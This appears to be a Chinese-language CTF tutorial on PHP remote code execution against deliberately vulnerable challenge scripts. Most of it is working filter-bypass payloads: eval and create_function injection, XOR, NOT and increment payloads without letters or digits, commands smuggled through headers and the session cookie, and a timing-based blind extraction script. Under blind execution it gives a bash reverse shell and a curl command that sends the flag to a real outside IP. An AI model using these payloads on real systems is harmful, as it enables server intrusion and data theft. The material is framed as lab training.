eval
<?php
highlight_file(__FILE__);
$command=$_POST['cmd'];
if(isset($command)){
if(!preg_match("/system|pctl/i",$command)) {
echo "welcome to RCE Lession one";
echo "<br>";
eval($command);
}
else{
die("what are you doing?");
}
}
?>
cmd=passthru("cat /flag");
但是这里有个注意事项,就是字符串的末尾必须有分号;
,否则会报错
平常我们见到的eval都是形如eval(system('ls');)
这样式儿的是吧
下面介绍一些变种
eval(system('ls')?>)
eval(?><?php system('ls');?>)
eval(?><?php system('ls');?>;)
eval(?><?php system('ls');?><?)
eval(?><?php system('ls');?><?php;)
关于这一点我们可以理解为eval函数里面其实就是一个<?php ?>
,我们往php代码段里写内容。因此我们需要注意闭合的问题
create_function
上面eval的trick类似,create_function也是往方法体注入内容,那么我们也是可以闭合方法体的
function (形参){
参数内容;
}
假如我们的参数内容是}xxxxx//
那么是不是也完成了闭合呢?然后xxxx部分就是我们控制的了,那么我们就不需要调用这个匿名函数,直接完成方法执行。
RCE-Challenge-5
<?php
highlight_file(__FILE__);
$command=$_POST['cmd'];
if(isset($command)){
if(!preg_match("/cat|pctl|nl|system|passthru|include|tac|ls|eval|assert/i",$command)) {
echo "welcome to RCE Lession 5";
echo "<br>";
create_function($command,"");
}
else{
die("what are you doing?");
}
}
cmd=){}echo `uniq /flag`;//
ByPass
空格 Bypass
$IFS$9 、${IFS} 、%09(\r
)<>
%0a
换行符
多语句执行
我们一般是可以通过;
进行多语句执行的,我们也可以通过换行符\n(%0a)
进行多语句执行。
关键字 Bypass
通配符
- ?通配符匹配单个字母
- *通配符匹配多个字母
- [x-x]或者是{x,x,x,x}
单双引号
- 单引号
- 双引号
- 反斜杠
以cat指令为例,假如cat被过滤了,我们可以通过ca''t ca""t c"a"t ca\t
这样来bypass
编码绕过
比如用base64编码
echo xxxx|base64 -d|bash
变量赋值(拼贴)
假如我们要执行指令whoami,我们可以
a=who;b=ami;$a$b
这样就会执行whoami指令。
异或RCE
环境为PHP7
以按位疑惑为例子:
<?php
$myfile = fopen("text.txt", "w"); //新创建一个文件,也就是rce_or.txt,给他写的权限
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i); //ascii的前16个字符的十六进制应该是01,02,所以在前缀加‘0’
}
else{
$hex_i=dechex($i); //前16个后面的就不用加0了
}
if($j<16){
$hex_j='0'.dechex($j); //同理上方
}
else{
$hex_j=dechex($j); //同理上方
}
$preg ='/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo ""; //如果有符合条件的就筛掉,输出空格
}
else{ //可以使用的字符如下
$a='%'.$hex_i; //十六进制前加百分号就变成了URL编码格式
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b)); //urldecode函数是解URL编码,把他们变成字符串,这里是字符串进行按位或运算,按位或运算后,可以得到新的字符,如%21和%00进行按位或就变成了!,这样我们就可以使用感叹号,就类似于合成新的字符
if (ord($c)>=32&ord($c)<=126) { //ord函数是将字符变成ASCII码
$contents=$contents.$c." ".$a." ".$b."\n"; //每次到这里都写入刚刚建立的文本内
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
?>
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("text.txt", "r")
while True:
t = f.readline() # 逐行读取文件 //每一次循环,指针都会指向下一行,输出下一行的字符
if t == "": # 读到空,即读完跳出循环
break
if t[0] == i: # 就比如我们这边输入的arg是system,当文本当前行第一个字母是s或者y这些字符就写入s1,s2
# print(i)
s1 += t[2:5] # 提取第一个字符串,具体可以看上面我的截图,如第一行的%00
s2 += t[6:9] # 提取第二个字符串
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")" # s1和s2进行或运算就可以合成对应的字母s,y,s,t,e,m
return (output)
param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
print(param)
首先来讲一下原理把:
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo ""; //如果有符合条件的就筛掉,输出空格
}
else{ //可以使用的字符如下
$a='%'.$hex_i; //十六进制前加百分号就变成了URL编码格式
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b)); //urldecode函数是解URL编码,把他们变成字符串,这里是字符串进行按位或运算,按位或运算后,可以得到新的字符,如%21和%00进行按位或就变成了!,这样我们就可以使用感叹号,就类似于合成新的字符
主要的PHP代码在这里,这段代码的意思是利用hex2bin来获取filter以外的字符,如空白字符,一些乱码之类的,但是这些字符都有对应的二进制数字,所以可以进行取反,异或之类的操作
举个栗子吧,以脚本生成的结果中调几个来看:
看到92行,意思就是%04|%27的结果URL解码后就是#
在本地测试一下看看:
<?php
echo hex2bin('04').'<br>';
echo hex2bin('27').'<br>';
echo (urldecode('%04')^urldecode('%27'));
?>
从结果来看就是那些满足filter条件的字符,不是数字也不是字母,是一些特殊符号和乱码,如果filter中过滤了特殊符号,那就修改一下脚本即可
用两个乱码合成了一个#,可以这么理解
最后再来谈谈结果的原理:
(“%0f%08%0f%09%0e%06%0f”^“%7f%60%7f%60%60%60%60”)(“%0b”^“%3a”)
就好比我们的system('ls),我们看看这一堆东西输入进去后为什么会变成答案?
首先URL会帮你解码一次,我感到好奇的是双引号的作用,本地测试一下
<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
echo $code;
if(preg_match('/[a-z0-9]/i',$code)){
die('hacker');
}
eval($code);
?>
我们payload:?code=(“%0f%08%0f%09%0e%06%0f”^“%7f%60%7f%60%60%60%60”)(“%0b”^“%3a”);
看得到结果输出的code是一滩乱码,这是因为被URL解码过了,由于这些乱码我们都没过滤,所以可以满足条件
猜测是在eval内完成了异或的操作
本地测试一下能否进行异或操作:
<?php
echo urldecode("%0f%08%0f%09%0e%06%0f")^urldecode("%7f%60%7f%60%60%60%60");
echo '<br>';
echo urldecode("%0b")^urldecode("%3a");
?>
是可行的,都解出来了,这样对原理就清楚了
取反RCE
在php内取反很方便,因为php内可以取反字符串,而在python内就显得麻烦的多,取反脚本如下:
<?php
//在命令行中运行
/*author yu22x*/
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
?>
意思就是先对输入的字符串进行取反,我们payload时二次取反达到还原的目的,
了解一下取反的原理:
<?php
echo ~'phpinfo()';
?>
可以看到是乱码!所以可以绕过preg_match的过滤,我们把这乱码二次取反后:
<?php
$a=~'phpinfo();';
echo ~$a;
?>
可以还原,和上面的异或其实是一个意思
自增RCE
RCE篇之无数字字母rce_mb5fd86d5f5874e的技术博客_51CTO博客
参考以上文章
<?php
$_=[].[]; //俩数组拼接强行返回ArrayArray,这里一个短杠的值也就是ArrayArray
$__=''; //两个短杠赋值为空
$_=$_[''];//从arrayarray中取首字符,即a。这里$_=$_[0]也是一样的道理,不过waf限制数字输入
$_=++$_; //b
$_=++$_; //c
$_=++$_; //d
$_=++$_; //e
$__.=$_; //E 把两个短杠赋值为E
$_=++$_; //F 一个短杠继续自增
$_=++$_; //G
$__=$_.$__; // GE 一个短杠自增变成了G,两个短杠在前面第十一行处已经赋值为E,拼接得GE
$_=++$_; //H 此处一个短杠继续自增,为H
$_=++$_; //I
$_=++$_; //J
$_=++$_; //k
$_=++$_; //L
$_=++$_; //M
$_=++$_; //N
$_=++$_; //O
$_=++$_; //P
$_=++$_; //Q
$_=++$_; //R
$_=++$_; //S
$_=++$_; //T
$__.=$_; // GET 在此处,两条短杠原是GE与一条短杠(已经自增为T),.=拼接,构成get
${'_'.$__}[_](${'_'.$__}[__]); // 进行拼接,$_GET['_']($_GET['__']);
url编码后:
%24_%3d%5b%5d.%5b%5d%3b%24__%3d%27%27%3b%24_%3d%24_%5b%27%27%5d%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24%7b%27_%27.%24__%7d%5b_%5d(%24%7b%27_%27.%24__%7d%5b__%5d)%3b
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
url编码后:
%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b%24_%3d%24_%5b%27!%27%3d%3d%27%40%27%5d%3b%24___%3d%24_%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24____%3d%27_%27%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24_%3d%24%24____%3b%24___(%24_%5b_%5d)%3b
第二个payload需要PHP小于7的版本,因为在PHP7,assert不再可以被动态调用
<?php
highlight_file(__FILE__);
$command=$_POST['cmd'];
if(isset($command)){
if(!preg_match("/[A-Za-z0-9]+/i",$command)) {
echo "welcome to RCE Lession 7";
echo "<br>";
eval($command);
}
else{
die("what are you doing?");
}
}
?>
cmd=("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%0c%01%07"^"%60%60%7c%20%2f%60%60%60%60");
cmd=%24_%3d%5b%5d.%5b%5d%3b%24__%3d%27%27%3b%24_%3d%24_%5b%27%27%5d%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24%7b%27_%27.%24__%7d%5b_%5d(%24%7b%27_%27.%24__%7d%5b__%5d)%3b
无参数RCE
介绍
无参数RCE指的就是我们通过xxx(xxx(xxx()));
的无参函数去获取flag,他的正则表达式为
/[^\W]+\((?R)?\)/
,在这里表示递归匹配。
利用函数
getenv
获取环境变量
var_dump
打印结果,调试。
scandir
readfile
读取文件
next
把数组指针往下移动一位。
get_defined_vars
获取定义的所有变量
cmd=var_dump(next(get_defined_vars()));&a=1
session_start
启动一个session
getallheaders
获取所有的请求头
getcwd
获取所在目录
apache_request_headers
只适用于apache获取请求头。
<?php
highlight_file(__FILE__);
$command=$_POST['cmd'];
if(isset($command)){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $command)) {
echo "welcome to RCE Lession 9";
echo "<br>";
eval($command);
}
else{
die("what are you doing?");
}
}
?>
方法一
cmd=system(next(next(get_defined_vars())));&a=cat /flag
方法二
cmd=readfile(next(next(get_defined_vars())));&a=/flag
方法三
POST / HTTP/1.1
Host: localhost:32775
Content-Length: 33
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Microsoft Edge";v="120"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Origin: http://localhost:32775
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:32775/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
cmd:cat /flag
cmd=system(end(getallheaders()));
方法四
通过session_start强制启动session,通过session_id获取PHPSESSID的cookie值,得到可控字符串
cmd=system(session_id(session_start()));
PHPSESSID=cat /flag
方法五
POST / HTTP/1.1
Host: localhost:32775
Content-Length: 42
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Microsoft Edge";v="120"
Cookie: PHPSESSID=asdasdasda
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Origin: http://localhost:32775
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:32775/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
x-cmd:cat /flag
cmd=system(end(apache_request_headers()));
无回显命令执行
无回显外带的方式
- 反弹shell
bash -c "bash -i >& /dev/tcp/8.130.24.188/7775 <&1"
- curl、wget、dns外带
cmd=curl http://8.130.24.188:7775?a=`cat /flag`
- 把flag复制到网站根目录
cp /flag /var/www/html/1.txt
- bash盲注
if [ `cat /flag | awk NR==1 | cut -c 1` == 'N' ];then sleep 2;fi
import time
import requests
url = "http://127.0.0.1:32776/"
result = ""
for i in range(1,15):
for j in range(1,50):
#ascii码表
for k in range(32,127):
k=chr(k)
payload =f"if [ `cat /flag | awk NR=={i} | cut -c {j}` == '{k}' ];then sleep 2;fi"
length=len(payload)
data ={
"cmd": payload
}
t1=time.time()
r=requests.post(url=url,data=data)
t2=time.time()
if t2-t1 >1.5:
result+=k
print(result)
result += " "
<?php
highlight_file(__FILE__);
$command=$_POST['cmd'];
if(isset($command)){
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $command)){
exec($this->code);
}
else{
die("what are you doing?");
}
}
?>
此处评论已关闭